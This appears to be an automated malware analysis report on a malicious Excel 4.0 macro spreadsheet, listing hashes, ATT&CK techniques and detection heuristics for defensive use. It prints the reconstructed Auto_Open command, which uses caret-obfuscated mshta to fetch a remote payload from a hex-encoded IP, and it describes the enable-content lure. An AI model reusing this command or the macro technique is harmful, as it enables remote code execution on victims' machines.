Office (OLE) / .XLS malware analysis — malicious · d9a9ba2d7a852cf5

MALICIOUS

Office (OLE) / .XLS

64.0 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel

MD5: cf27a83f40e43e9ce9e88a6c805b790d SHA-1: 5b5226cf4e1b4f4c7db28c552c11f64f96f306cc SHA-256: d9a9ba2d7a852cf50256bb7cceb9070141b457478257622ed399c52b835f8ff9

100 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Service Execution: Visual Basic T1204.002 Malicious Link: Malicious File T1059.001 Command and Scripting Interpreter: PowerShell

The sample is an Excel 4.0 macro-enabled spreadsheet. It contains an Auto_Open macro that executes a command to download a payload from the URL "http://0xc12a24f5/cc.html". The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content', which is a common lure for macro-based malware. The reconstructed command is "cmd /c m^sh^t^a h^tt^p^:/^/0xc12a24f5/cc.html".

Heuristics 3

Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME

oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN

Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Macro/content-enable lure medium SE_ENABLE_LURE

Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`xlm_macros.txt` `0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0`	xlm-macro	oletools.olevba.extract_all_macros (XLM macro listing)	1073 bytes

Open this report in the interactive analyzer, or submit your own file for analysis.